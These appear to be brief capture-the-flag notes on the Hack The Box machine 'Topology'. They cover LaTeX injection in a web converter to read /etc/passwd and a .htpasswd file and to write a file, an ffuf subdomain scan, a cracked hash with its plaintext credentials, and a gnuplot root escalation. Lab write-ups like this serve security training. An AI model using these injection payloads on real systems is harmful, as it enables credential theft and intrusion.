Topology

LaTeX

Webserver on port 80 gives a latex to png converter

```
\newread\file \openin\file=/etc/passwd \read\file to\x\text{\x}
```
→ allows for single line reads

```
\newwrite\file \openout\file=cow.php \write\file{woof} \closeout\file
```
-> allows creation of a file

```
$\lstinputlisting{/etc/passwd}$
```
-> gives entire file listing. `$$` needed to avoid error

Illegal commands:
\input
\include
\write
\immediate
\write18

using ffuf, we can enumerate subdomains.
```
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H "Host: FUZZ.topology.htb" -u http://topology.htb -fs 6767
```
-> we find dev.topology.htb, which asks for http authentication

using `$\lstinputlisting{/var/www/dev/.htpasswd}$` as the payload
Hash given:
```
$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0
```

vdaisley

using hashcat, we can crack the hash for creds:
vdaisley:calculus20

with this, we can access dev.topology.htb, which doesnt have anything interesting

However, due to password reuse, we can ssh into the box!

using pspy, we see root executing all /opt/gnuplot/*.plt files with gnuplot
with some research, we can get root to run commands for us

creds

vdaisley:calculus20